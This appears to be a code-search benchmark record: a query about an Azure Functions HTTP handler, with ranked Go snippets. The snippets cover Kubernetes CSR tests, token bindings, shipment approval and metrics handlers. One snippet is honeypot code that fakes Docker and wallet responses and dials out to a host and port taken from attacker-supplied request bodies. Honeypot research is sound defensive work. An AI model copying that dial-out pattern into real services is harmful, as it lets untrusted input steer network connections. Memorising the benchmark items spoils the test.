{\n\t\t\t\tt.Fatalf(\"Error in create clientset: %v\", err)\n\t\t\t}\n\t\t\tcsr := &certv1.CertificateSigningRequest{\n\t\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\t\tName: \"csr\",\n\t\t\t\t},\n\t\t\t\tSpec: certv1.CertificateSigningRequestSpec{\n\t\t\t\t\tRequest: test.request,\n\t\t\t\t\tUsages: test.usages,\n\t\t\t\t\tSignerName: test.signerName,\n\t\t\t\t},\n\t\t\t}\n\t\t\t_, err = impersonationClient.CertificatesV1().CertificateSigningRequests().Create(context.TODO(), csr, metav1.CreateOptions{})\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"failed to create testing CSR: %v\", err)\n\t\t\t}\n\n\t\t\tif test.autoApproved {\n\t\t\t\tif err := waitForCertificateRequestApproved(client, csr.Name); err != nil {\n\t\t\t\t\tt.Errorf(\"failed to wait for CSR to be auto-approved: %v\", err)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif err := ensureCertificateRequestNotApproved(client, csr.Name); err != nil {\n\t\t\t\t\tt.Errorf(\"failed to ensure that CSR was not auto-approved: %v\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}", "title": "" }, { "docid": "0d8989b3784dbc75bed3ef8f50e9a03d", "score": "0.53830624", "text": "func (_PausableTokenMock *PausableTokenMockSession) Approve(_spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _PausableTokenMock.Contract.Approve(&_PausableTokenMock.TransactOpts, _spender, _value)\n}", "title": "" }, { "docid": "dbc8eb4c22a6ea5e161693c8026dc0aa", "score": "0.5382274", "text": "func (_SUSD *SUSDSession) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _SUSD.Contract.Approve(&_SUSD.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "6b2effb8f3644a30539f4c20764d059b", "score": "0.53661937", "text": "func (_SUSD *SUSDTransactorSession) Approve(spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _SUSD.Contract.Approve(&_SUSD.TransactOpts, spender, amount)\n}", "title": "" }, { "docid": "266b778d7fb1766ebe58778f316d6f3b", "score": "0.53631854", "text": "func (_PausableTokenMock *PausableTokenMockTransactorSession) Approve(_spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _PausableTokenMock.Contract.Approve(&_PausableTokenMock.TransactOpts, _spender, _value)\n}", "title": "" }, { "docid": "7e1de9776cb63b76bc1e1446159c6d1e", "score": "0.53602225", "text": "func (s *ShipmentAccessorial) Approve() error {\n\tif s.Status != ShipmentAccessorialStatusSUBMITTED {\n\t\treturn errors.Wrap(ErrInvalidTransition, \"Approve\")\n\t}\n\ts.Status = ShipmentAccessorialStatusAPPROVED\n\treturn nil\n}", "title": "" }, { "docid": "eec29a87879e8b9ec5da14b130db6570", "score": "0.5346363", "text": "func (_NbcToken *NbcTokenTransactor) Approve(opts *bind.TransactOpts, to common.Address, tokenId *big.Int) (*types.Transaction, error) {\n\treturn _NbcToken.contract.Transact(opts, \"approve\", to, tokenId)\n}", "title": "" }, { "docid": "0b554091277ee5ed5b8ef91dbb98f051", "score": "0.5345036", "text": "func (_SMTToken *SMTTokenTransactor) Approve(opts *bind.TransactOpts, _spender common.Address, _value *big.Int) (*types.Transaction, error) {\n\treturn _SMTToken.contract.Transact(opts, \"approve\", _spender, _value)\n}", "title": "" }, { "docid": "75f538cf31dce4b333b8b6d9fcf45cb2", "score": "0.534107", "text": "func (_CWBTC *CWBTCTransactor) Approve(opts *bind.TransactOpts, spender common.Address, amount *big.Int) (*types.Transaction, error) {\n\treturn _CWBTC.contract.Transact(opts, \"approve\", spender, amount)\n}", "title": "" }, { "docid": "3cf08257f0d0e1cb78717348b2dffc8d", "score": "0.5335821", "text": "func (_Erc721 *Erc721TransactorSession) Approve(to common.Address, tokenId *big.Int) (*types.Transaction, error) {\n\treturn _Erc721.Contract.Approve(&_Erc721.TransactOpts, to, tokenId)\n}", "title": "" }, { "docid": "a94e0b55c4a0fda4677ea4f8a8bf4045", "score": "0.53286284", "text": "func (s *Shipment) Approve(approveDate time.Time) error {\n\tif s.Status != ShipmentStatusACCEPTED {\n\t\treturn errors.Wrap(ErrInvalidTransition, \"Approve - status change\")\n\t}\n\n\tif s.ApproveDate != nil {\n\t\treturn errors.Wrap(ErrInvalidTransition, \"Approve - approve date change\")\n\t}\n\ts.Status = ShipmentStatusAPPROVED\n\ts.ApproveDate = &approveDate\n\treturn nil\n}", "title": "" } ]
ad6b06747f044ed5301f3f4e63db94b3
IncomingHTTP takes the incoming payload from the function host decodes it and sends back the value from the name parameter in the body.
[ { "docid": "99a2305dade3cdd081271a1a9f4c70bc", "score": "0.65040606", "text": "func IncomingHTTP(w http.ResponseWriter, r *http.Request) {\n\tvar req HTTPRequest\n\tif err := json.NewDecoder(r.Body).Decode(&req); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tresponse := HTTPResponse{}\n\tvar payload Payload\n\tif err := json.Unmarshal([]byte(req.Data.Req.Body), &payload); err != nil {\n\t\tresponse.Outputs.Res.StatusCode = \"400\"\n\t} else {\n\t\tresponse.Outputs.Res.Body = \"Hello \" + payload.Name\n\t}\n\n\tres, err := json.Marshal(response)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.Write(res)\n}", "title": "" } ]
[ { "docid": "a9a2af7a63ede5f8480b8dc82de3a309", "score": "0.52120715", "text": "func Handle(req []byte) string {\n\tfnName, ns, err := parseFunctionName()\n\tif err != nil {\n\t\tlog.Fatalf(\"couldn't parse function name from query: %t\", err)\n\t}\n\n\tif ns == \"\" {\n\t\t// TODO: read from env-var for environments where this is overridden\n\t\tns = \"openfaas-fn\"\n\t}\n\n\thost := os.Getenv(\"prometheus_host\")\n\tenvPort := os.Getenv(\"prometheus_port\")\n\tport, err := strconv.Atoi(envPort)\n\tif err != nil {\n\t\tlog.Fatalf(\"Could not convert env-var prometheus_port to int. Env-var value: %s. Error: %t\", envPort, err)\n\t}\n\n\tmetricsQuery := metrics.NewPrometheusQuery(host, port, http.DefaultClient)\n\tmetricsWindow := parseMetricsWindow()\n\tkey := fnName + \".\" + ns\n\t// log.Printf(\"key: %q\", key)\n\tfnMetrics, err := getMetrics(key, metricsQuery, metricsWindow)\n\tif err != nil {\n\t\tlog.Fatalf(\"Couldn't get metrics from Prometheus for function %s, %t\", key, err)\n\t}\n\n\tres, err := json.Marshal(fnMetrics)\n\tif err != nil {\n\t\tlog.Fatalf(\"Couldn't marshal json %t\", err)\n\t}\n\n\treturn string(res)\n}", "title": "" }, { "docid": "37e5bd0e2223da07d11d32262ca7ecce", "score": "0.5111298", "text": "func (p *processor) HttpHandler(w http.ResponseWriter, r *http.Request) {\n\tp.Logger.Debug(\"reading request\")\n\tlast, ok := p.Memory.Get(\"last\")\n\tif !ok {\n\t\tw.WriteHeader(http.StatusOK)\n\t\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\t\tw.Write([]byte(fmt.Sprintf(\"Nothing received !\")))\n\t\treturn\n\t}\n\n\t// Encode content\n\tvar err error\n\tvar enc codecs.Encoder\n\tenc, err = p.opt.Codec.NewEncoder(w)\n\tif err != nil {\n\t\tp.Logger.Errorln(\"codec error : \", err.Error())\n\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\t\tw.Write([]byte(err.Error()))\n\n\t\treturn\n\t}\n\n\tw.WriteHeader(http.StatusOK)\n\tfor ctn, ctv := range p.opt.Headers {\n\t\tw.Header().Set(ctn, ctv)\n\t}\n\tenc.Encode(last.(processors.IPacket).Fields().Old())\n}", "title": "" }, { "docid": "a164808c1563e363718e2852b56b723f", "score": "0.49748948", "text": "func (s *Server) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\tdefer r.Body.Close()\n\n\t// Header checks: It must be a POST with an event type and a signature.\n\tif r.Method != http.MethodPost {\n\t\thttp.Error(w, \"405 Method not allowed\", http.StatusMethodNotAllowed)\n\t\treturn\n\t}\n\teventType := r.Header.Get(\"X-Gitlab-Event\")\n\tif eventType == \"\" {\n\t\thttp.Error(w, \"400 Bad Request: Missing X-Gitlab-Event Header\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tpayload, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\thttp.Error(w, \"500 Internal Server Error: Failed to read request body\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tfmt.Fprint(w, \"Event received. Have a nice day.\")\n\n\terr = s.demuxEvent(eventType, payload)\n\tif err != nil {\n\t\ts.Logger.Log(\n\t\t\t\"Caller\", \"ServeHTTP\",\n\t\t\t\"Action\", \"demuxEvent\",\n\t\t\t\"eventType\", eventType,\n\t\t\t\"Error\", err,\n\t\t)\n\t}\n\n}", "title": "" }, { "docid": "91cfe11a692e0b53f5afe116c6145233", "score": "0.49631745", "text": "func (t *DecodeRestReq) OnRequest(data string) workspace.TaskCode {\n\tlog.Infof(\"Received message from ClientIP [%s] AppInstanceId [%s] Operation [%s] Resource [%s].\",\n\t\tmeputil.GetClientIp(t.R), meputil.GetAppInstanceId(t.R), meputil.GetMethodFromReq(t.R), meputil.GetHttpResourceInfo(t.R))\n\n\terr := t.GetParam(t.R)\n\tif err != nil {\n\t\tlog.Error(\"Parameters validation failed on service register request.\", err)\n\t\treturn workspace.TaskFinish\n\t}\n\n\terr = t.ParseBody(t.R)\n\tif err != nil {\n\t\tlog.Error(\"Service register request body parse failed.\", err)\n\t}\n\treturn workspace.TaskFinish\n}", "title": "" }, { "docid": "a0be776a5f04eb219866e4cea51474d3", "score": "0.49225977", "text": "func HTTP(req *HTTPPayload) zap.Field {\n\treturn zap.Object(\"httpRequest\", req)\n}", "title": "" }, { "docid": "cdcc6f7388ec9e6a2b7067902c5f4054", "score": "0.4873328", "text": "func guestRequest(operationPtr uintptr, payloadPtr uintptr)", "title": "" }, { "docid": "89af7f28541a99d275ed06932bdb204d", "score": "0.4780898", "text": "func (h *HTTPBin) Hostname(w http.ResponseWriter, r *http.Request) {\n\twriteJSON(http.StatusOK, w, hostnameResponse{\n\t\tHostname: h.hostname,\n\t})\n}", "title": "" }, { "docid": "d83a505fbddc1611281f11619ce95f3b", "score": "0.47699732", "text": "func header(name string) param {\n\treturn func(r *http.Request) string {\n\t\tif strings.ToLower(name) == \"host\" {\n\t\t\treturn r.Host\n\t\t}\n\t\treturn r.Header.Get(name)\n\t}\n}", "title": "" }, { "docid": "0ebd6949c87df68727eea5f1c3166d6a", "score": "0.47606632", "text": "func HandleFunc(name string, handler func(w http.ResponseWriter, r *http.Request)) func(w http.ResponseWriter, r *http.Request) {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tvar tracer Trace\n\t\tif id := r.Header.Get(\"x-request-id\"); len(id) > 0 {\n\t\t\ttracer = WithID(name, id)\n\t\t} else {\n\t\t\ttracer = New(name)\n\t\t}\n\t\tw.Header().Set(\"x-request-id\", tracer.ID())\n\n\t\tlastRoute, ip := func(r *http.Request) (string, string) {\n\t\t\tlastRoute := strings.Split(r.RemoteAddr, \":\")[0]\n\t\t\tif ip, exists := r.Header[\"X-Real-IP\"]; exists && len(ip) > 0 {\n\t\t\t\treturn lastRoute, ip[0]\n\t\t\t}\n\t\t\tif ips, exists := r.Header[\"X-Forwarded-For\"]; exists && len(ips) > 0 {\n\t\t\t\treturn lastRoute, ips[0]\n\t\t\t}\n\t\t\treturn lastRoute, lastRoute\n\t\t}(r)\n\n\t\ttracer.Infof(\"event=[request-in] remote=[%s] route=[%s] method=[%s] url=[%s]\", ip, lastRoute, r.Method, r.URL.String())\n\t\tdefer tracer.Info(\"event=[request-out]\")\n\n\t\tctx := context.WithValue(r.Context(), tracerLogHandlerID, tracer)\n\t\tctx = context.WithValue(ctx, realIPValueID, ip)\n\n\t\thandler(w, r.WithContext(ctx))\n\t}\n}", "title": "" }, { "docid": "afb3b86063603512e54d536048363a56", "score": "0.47450736", "text": "func HandleHTTP(ctx context.Context, conn net.Conn, logger Logger, h Honeypot) error {\n\tdefer func() {\n\t\terr := conn.Close()\n\t\tif err != nil {\n\t\t\tlogger.Error(\"failed to close the HTTP connection\", zap.Error(err))\n\t\t}\n\t}()\n\n\treq, err := http.ReadRequest(bufio.NewReader(conn))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to read the HTTP request: %w\", err)\n\t}\n\n\thost, port, err := net.SplitHostPort(conn.RemoteAddr().String())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to split the host: %w\", err)\n\t}\n\n\tmd, err := h.MetadataByConnection(conn)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif md != nil {\n\t\tlogger.Info(\n\t\t\tfmt.Sprintf(\"HTTP %s request handled: %s\", req.Method, req.URL.EscapedPath()),\n\t\t\tzap.String(\"handler\", \"http\"),\n\t\t\tzap.String(\"dest_port\", strconv.Itoa(int(md.TargetPort))),\n\t\t\tzap.String(\"src_ip\", host),\n\t\t\tzap.String(\"src_port\", port),\n\t\t\tzap.String(\"path\", req.URL.EscapedPath()),\n\t\t\tzap.String(\"method\", req.Method),\n\t\t\tzap.String(\"query\", req.URL.Query().Encode()),\n\t\t)\n\t}\n\n\tbuf := &bytes.Buffer{}\n\tif req.ContentLength > 0 {\n\t\tdefer req.Body.Close()\n\t\tbuf = bytes.NewBuffer(make([]byte, 0, req.ContentLength))\n\t\tlength, err := buf.ReadFrom(req.Body)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to read the HTTP body: %w\", err)\n\t\t}\n\t\tlogger.Info(fmt.Sprintf(\"HTTP payload:\\n%s\", hex.Dump(buf.Bytes()[:length%1024])))\n\t}\n\n\tif err := h.Produce(\"http\", conn, md, buf.Bytes(), decodedHTTP{\n\t\tMethod: req.Method,\n\t\tURL: req.URL.EscapedPath(),\n\t\tPath: req.URL.EscapedPath(),\n\t\tQuery: req.URL.Query().Encode(),\n\t}); err != nil {\n\t\tlogger.Error(\"failed to produce message\", zap.String(\"protocol\", \"http\"), zap.Error(err))\n\t}\n\n\tswitch req.Method {\n\tcase http.MethodPost:\n\t\treturn handlePOST(req, conn, buf, logger)\n\t}\n\n\tif strings.Contains(req.RequestURI, \"wallet\") {\n\t\tlogger.Info(\n\t\t\t\"HTTP wallet request\",\n\t\t\tzap.String(\"handler\", \"http\"),\n\t\t)\n\t\t_, err = conn.Write([]byte(\"HTTP/1.1 200 OK\\r\\nContent-Length:20\\r\\n\\r\\n[[\\\"\\\"]]\\r\\n\\r\\n\"))\n\t\treturn err\n\t}\n\n\tif strings.Contains(req.RequestURI, \"/v1.16/version\") {\n\t\tdata, err := res.ReadFile(\"resources/docker_api.json\")\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to read embedded file: %w\", err)\n\t\t}\n\t\t_, err = conn.Write(append([]byte(fmt.Sprintf(\"HTTP/1.1 200 OK\\r\\nContent-Length:%d\\r\\n\\r\\n\", len(data))), data...))\n\t\treturn err\n\t}\n\n\tif strings.HasPrefix(req.RequestURI, \"/vpn/\") {\n\t\treturn smbHandler(conn, req)\n\t}\n\n\t// Handler for VMWare Attack\n\tif strings.Contains(req.RequestURI, \"hyper/send\") {\n\t\tbody := string(buf.Bytes()[:])\n\t\tparts := strings.Split(body, \" \")\n\t\tif len(parts) >= 11 {\n\t\t\tconn, err := net.Dial(\"tcp\", parts[9]+\":\"+parts[10])\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tgo func() {\n\t\t\t\tif err := HandleTCP(ctx, conn, logger, h); err != nil {\n\t\t\t\t\tlogger.Error(\"failed to handle vmware attack\", zap.Error(err))\n\t\t\t\t}\n\t\t\t}()\n\t\t}\n\t}\n\t_, err = conn.Write([]byte(\"HTTP/1.1 200 OK\\r\\n\\r\\n\"))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to send HTTP response: %w\", err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ec591ee58e22cd0099400d7e5a78d0f4", "score": "0.4744079", "text": "func RelayToHTTP(w http.ResponseWriter, r *http.Request) {\n\tvar entry Entry\n\tif err := json.NewDecoder(r.Body).Decode(&entry); err != nil {\n\t\tlog.Println(err)\n\t\tjson.NewEncoder(w).Encode(EntryResult{\n\t\t\tOk: false,\n\t\t\tResult: \"Failed to decode body\",\n\t\t})\n\n\t\treturn\n\t}\n\n\tparameters := loadParametersFromEnv()\n\terr := toSlack(&parameters, &entry)\n\n\tif err != nil {\n\t\tjson.NewEncoder(w).Encode(EntryResult{\n\t\t\tOk: false,\n\t\t\tResult: \"Failed to relay entry\",\n\t\t})\n\n\t\treturn\n\t}\n\n\tjson.NewEncoder(w).Encode(EntryResult{\n\t\tOk: true,\n\t\tResult: \"SUCCESSFUL\",\n\t})\n}", "title": "" }, { "docid": "4064caf6f8fb91ba29f41a19a39eaf45", "score": "0.47423115", "text": "func (mh MyHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n w.Write([]byte(fmt.Sprintf(\"%v world\", mh.greeting)))\n}", "title": "" }, { "docid": "dff13bbe6053d865c275b0b80c7dbfd1", "score": "0.47400823", "text": "func (l *ListenerREST) GetFunc(w http.ResponseWriter, r *http.Request) {\n\tdecoder := json.NewDecoder(r.Body)\n\tvar req Request\n\tif err := decoder.Decode(&req); err != nil {\n\t\t// log.Info(err)\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tres := l.ExtensionMap[req.Req](&req)\n\n\tlog.Debugf(\"Request:\\t%v,\\t%v\", req.FSM, req.Req)\n\tlog.Debugf(\"Response:\\t%v,\\t%v\", *res.FSM, res.Res)\n\n\tjs, err := json.Marshal(res)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.Write(js)\n}", "title": "" }, { "docid": "88ec08238c6688fe9354c8472caf053e", "score": "0.4738999", "text": "func Name(w http.ResponseWriter, r *http.Request) {\n\tnow := time.Now()\n\ttoken, caseType := parseNameRequest(r)\n\tvar model *NamingModel\n\n\tif ok, itemModel := validateWork(token, caseType); !ok {\n\t\tmodel = itemModel\n\t\t// 400\n\t\tmodel.StatusCode = http.StatusBadRequest\n\t} else if (r.Method == \"GET\" && len(token) > thresholdLengthForTokenForSyncProcessing) || (r.Method == \"POST\" && len(token) > thresholdLengthForTokenForAsyncProcessing) {\n\t\tmodel := new(NamingModel)\n\t\tmodel.Token = token\n\t\tmodel.CaseType = caseType\n\t\t// 413\n\t\tmodel.StatusCode = http.StatusRequestEntityTooLarge\n\t} else if r.Method == \"GET\" {\n\t\tmodel = processName(token, caseType)\n\t\t// 200\n\t\tmodel.StatusCode = http.StatusOK\n\t} else if r.Method == \"POST\" {\n\t\tmodel = processNameLongRunning(token, caseType)\n\t\t// 202 - long running operation\n\t\t// caller has to track result at TrackingURL\n\t\tmodel.StatusCode = http.StatusAccepted\n\t}\n\t// Log the Request / info\n\t// TODO : log the custom event to keep track of varios aspect of the endpoint\n\tdefer logRequestWithModel(r, model, time.Since(now))\n\tw.WriteHeader(model.StatusCode)\n\tjson.NewEncoder(w).Encode(model)\n\n}", "title": "" }, { "docid": "5e29fe7e6ceb2416961990246bfa8899", "score": "0.47274634", "text": "func GetTestHandler() http.HandlerFunc {\n return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n _, _ = w.Write([]byte(BodyPassed))\n })\n}", "title": "" }, { "docid": "edfc681c6aa8d50fc882030d93de2889", "score": "0.47227156", "text": "func handleRequest(w http.ResponseWriter, r *http.Request) {\n\t// Check that body length doesn't exceed limit.\n\tr.Body = http.MaxBytesReader(w, r.Body, env.RequestSizeLimit)\n\t// read the request body\n\tb, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tif err.Error() == \"http: request body too large\" {\n\t\t\tlog.Println(\"HTTP Request body too large \", err)\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t} else {\n\t\t\tlog.Println(\"Error writing to buffer: \", err)\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t}\n\t\treturn\n\t}\n\treqBodyString := string(b)\n\tid := gouuidv6.NewFromTime(now()).String()\n\toriginalHost := r.Header.Get(\"Async-Original-Host\")\n\treqData := requestData{\n\t\tID: id,\n\t\tReqBody: reqBodyString,\n\t\tReqURL: \"http://\" + originalHost + r.URL.String(),\n\t\tReqHeader: r.Header,\n\t\tReqMethod: r.Method,\n\t}\n\treqJSON, err := json.Marshal(reqData)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tlog.Println(\"Failed to marshal request: \", err)\n\t\treturn\n\t}\n\n\t// Write the request information to the storage.\n\tif err = rc.write(r.Context(), env, reqJSON, reqData.ID); err != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tlog.Println(\"Error asynchronous writing request to storage \", err)\n\t\treturn\n\t}\n\tlog.Println(\"request accepted\")\n\tw.WriteHeader(http.StatusAccepted)\n\treturn\n}", "title": "" }, { "docid": "3f70305dab3b08473055fabc45c746e0", "score": "0.47069323", "text": "func (fe *Frontend) GetName(args *interface{}, reply *string) error {\n\t*reply = fe.name\n\treturn nil\n}", "title": "" }, { "docid": "d7f7e8dc19889a5de774d905c6b1f3d5", "score": "0.47037536", "text": "func (d *Data) DoHTTP(uuid dvid.UUID, w http.ResponseWriter, r *http.Request) error {\n\tstartTime := time.Now()\n\n\t// Allow cross-origin resource sharing.\n\tw.Header().Add(\"Access-Control-Allow-Origin\", \"*\")\n\n\t// Break URL request into arguments\n\turl := r.URL.Path[len(server.WebAPIPath):]\n\tparts := strings.Split(url, \"/\")\n\n\t// Process help and info.\n\tswitch parts[3] {\n\tcase \"help\":\n\t\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\t\tfmt.Fprintln(w, d.Help())\n\t\treturn nil\n\tcase \"info\":\n\t\tjsonStr, err := d.JSONString()\n\t\tif err != nil {\n\t\t\tserver.BadRequest(w, r, err.Error())\n\t\t\treturn err\n\t\t}\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tfmt.Fprintf(w, jsonStr)\n\t\treturn nil\n\tdefault:\n\t}\n\n\t// Get the key and process request\n\tvar comment string\n\tkeyStr := parts[3]\n\tswitch strings.ToLower(r.Method) {\n\tcase \"get\":\n\t\tvalue, found, err := d.GetData(uuid, keyStr)\n\t\tif err != nil {\n\t\t\tserver.BadRequest(w, r, err.Error())\n\t\t\treturn err\n\t\t}\n\t\tif !found {\n\t\t\thttp.Error(w, fmt.Sprintf(\"Key '%s' not found\", keyStr), http.StatusNotFound)\n\t\t\treturn nil\n\t\t}\n\t\tw.Header().Set(\"Content-Type\", \"application/octet-stream\")\n\t\t_, err = w.Write(value)\n\t\tif err != nil {\n\t\t\tserver.BadRequest(w, r, err.Error())\n\t\t\treturn err\n\t\t}\n\t\tcomment = fmt.Sprintf(\"HTTP GET keyvalue '%s': %d bytes (%s)\\n\", d.DataName(), len(value), url)\n\tcase \"post\":\n\t\tdata, err := ioutil.ReadAll(r.Body)\n\t\tif err != nil {\n\t\t\tserver.BadRequest(w, r, err.Error())\n\t\t\treturn err\n\t\t}\n\t\terr = d.PutData(uuid, keyStr, data)\n\t\tif err != nil {\n\t\t\tserver.BadRequest(w, r, err.Error())\n\t\t\treturn err\n\t\t}\n\t\tcomment = fmt.Sprintf(\"HTTP POST keyvalue '%s': %d bytes (%s)\\n\", d.DataName(), len(data), url)\n\tdefault:\n\t\terr := fmt.Errorf(\"Can only handle GET or POST HTTP verbs\")\n\t\tserver.BadRequest(w, r, err.Error())\n\t\treturn err\n\t}\n\n\tdvid.ElapsedTime(dvid.Debug, startTime, comment, \"success\")\n\treturn nil\n}", "title": "" }, { "docid": "65268e459a88ce3a79008f81481385ed", "score": "0.47028247", "text": "func Handle(req []byte) string {\n\treturn fmt.Sprintf(\"Hello, Go. I'm function 1. Testing \")\n}", "title": "" }, { "docid": "24626a50dd4df717ffa4a219ece60a9c", "score": "0.4701621", "text": "func HandleRequest(ctx context.Context, name MyEvent) (string, error) {\n\n\trand.Seed(time.Now().UnixNano())\n\tnumb := rand.Intn(100)\n\n\tif numb < 51 {\n\t\treturn \"\", errors.New(\"something went wrong\")\n\t}\n\tif numb < 91 {\n\t\treturn \"\", &CustomError{}\n\t}\n\treturn fmt.Sprintf(\"Super Happy Success\"), nil\n}", "title": "" }, { "docid": "c2e7a61055ab83301220244e59a66457", "score": "0.46942768", "text": "func NameToVariable(name string) (byte, error) {\n\tname = strings.ToUpper(name)\n\tswitch name {\n\tcase \"URLENCODED_ERROR\":\n\t\treturn VARIABLE_URLENCODED_ERROR, nil\n\tcase \"RESPONSE_CONTENT_TYPE\":\n\t\treturn VARIABLE_RESPONSE_CONTENT_TYPE, nil\n\tcase \"UNIQUE_ID\":\n\t\treturn VARIABLE_UNIQUE_ID, nil\n\tcase \"ARGS_COMBINED_SIZE\":\n\t\treturn VARIABLE_ARGS_COMBINED_SIZE, nil\n\tcase \"AUTH_TYPE\":\n\t\treturn VARIABLE_AUTH_TYPE, nil\n\tcase \"FILES_COMBINED_SIZE\":\n\t\treturn VARIABLE_FILES_COMBINED_SIZE, nil\n\tcase \"FULL_REQUEST\":\n\t\treturn VARIABLE_FULL_REQUEST, nil\n\tcase \"FULL_REQUEST_LENGTH\":\n\t\treturn VARIABLE_FULL_REQUEST_LENGTH, nil\n\tcase \"INBOUND_DATA_ERROR\":\n\t\treturn VARIABLE_INBOUND_DATA_ERROR, nil\n\tcase \"MATCHED_VAR\":\n\t\treturn VARIABLE_MATCHED_VAR, nil\n\tcase \"MATCHED_VAR_NAME\":\n\t\treturn VARIABLE_MATCHED_VAR_NAME, nil\n\tcase \"MULTIPART_BOUNDARY_QUOTED\":\n\t\treturn VARIABLE_MULTIPART_BOUNDARY_QUOTED, nil\n\tcase \"MULTIPART_BOUNDARY_WHITESPACE\":\n\t\treturn VARIABLE_MULTIPART_BOUNDARY_WHITESPACE, nil\n\tcase \"MULTIPART_CRLF_LF_LINES\":\n\t\treturn VARIABLE_MULTIPART_CRLF_LF_LINES, nil\n\tcase \"MULTIPART_DATA_AFTER\":\n\t\treturn VARIABLE_MULTIPART_DATA_AFTER, nil\n\tcase \"MULTIPART_DATA_BEFORE\":\n\t\treturn VARIABLE_MULTIPART_DATA_BEFORE, nil\n\tcase \"MULTIPART_FILE_LIMIT_EXCEEDED\":\n\t\treturn VARIABLE_MULTIPART_FILE_LIMIT_EXCEEDED, nil\n\tcase \"MULTIPART_HEADER_FOLDING\":\n\t\treturn VARIABLE_MULTIPART_HEADER_FOLDING, nil\n\tcase \"MULTIPART_INVALID_HEADER_FOLDING\":\n\t\treturn VARIABLE_MULTIPART_INVALID_HEADER_FOLDING, nil\n\tcase \"MULTIPART_INVALID_PART\":\n\t\treturn VARIABLE_MULTIPART_INVALID_PART, nil\n\tcase \"MULTIPART_INVALID_QUOTING\":\n\t\treturn VARIABLE_MULTIPART_INVALID_QUOTING, nil\n\tcase \"MULTIPART_LF_LINE\":\n\t\treturn VARIABLE_MULTIPART_LF_LINE, nil\n\tcase \"MULTIPART_MISSING_SEMICOLON\":\n\t\treturn VARIABLE_MULTIPART_MISSING_SEMICOLON, nil\n\tcase \"MULTIPART_STRICT_ERROR\":\n\t\treturn VARIABLE_MULTIPART_STRICT_ERROR, nil\n\tcase \"MULTIPART_UNMATCHED_BOUNDARY\":\n\t\treturn VARIABLE_MULTIPART_UNMATCHED_BOUNDARY, nil\n\tcase \"OUTBOUND_DATA_ERROR\":\n\t\treturn VARIABLE_OUTBOUND_DATA_ERROR, nil\n\tcase \"PATH_INFO\":\n\t\treturn VARIABLE_PATH_INFO, nil\n\tcase \"QUERY_STRING\":\n\t\treturn VARIABLE_QUERY_STRING, nil\n\tcase \"REMOTE_ADDR\":\n\t\treturn VARIABLE_REMOTE_ADDR, nil\n\tcase \"REMOTE_HOST\":\n\t\treturn VARIABLE_REMOTE_HOST, nil\n\tcase \"REMOTE_PORT\":\n\t\treturn VARIABLE_REMOTE_PORT, nil\n\tcase \"REQBODY_ERROR\":\n\t\treturn VARIABLE_REQBODY_ERROR, nil\n\tcase \"REQBODY_ERROR_MSG\":\n\t\treturn VARIABLE_REQBODY_ERROR_MSG, nil\n\tcase \"REQBODY_PROCESSOR_ERROR\":\n\t\treturn VARIABLE_REQBODY_PROCESSOR_ERROR, nil\n\tcase \"REQBODY_PROCESSOR_ERROR_MSG\":\n\t\treturn VARIABLE_REQBODY_PROCESSOR_ERROR_MSG, nil\n\tcase \"REQBODY_PROCESSOR\":\n\t\treturn VARIABLE_REQBODY_PROCESSOR, nil\n\tcase \"REQUEST_BASENAME\":\n\t\treturn VARIABLE_REQUEST_BASENAME, nil\n\tcase \"REQUEST_BODY\":\n\t\treturn VARIABLE_REQUEST_BODY, nil\n\tcase \"REQUEST_BODY_LENGTH\":\n\t\treturn VARIABLE_REQUEST_BODY_LENGTH, nil\n\tcase \"REQUEST_FILENAME\":\n\t\treturn VARIABLE_REQUEST_FILENAME, nil\n\tcase \"REQUEST_LINE\":\n\t\treturn VARIABLE_REQUEST_LINE, nil\n\tcase \"REQUEST_METHOD\":\n\t\treturn VARIABLE_REQUEST_METHOD, nil\n\tcase \"REQUEST_PROTOCOL\":\n\t\treturn VARIABLE_REQUEST_PROTOCOL, nil\n\tcase \"REQUEST_URI\":\n\t\treturn VARIABLE_REQUEST_URI, nil\n\tcase 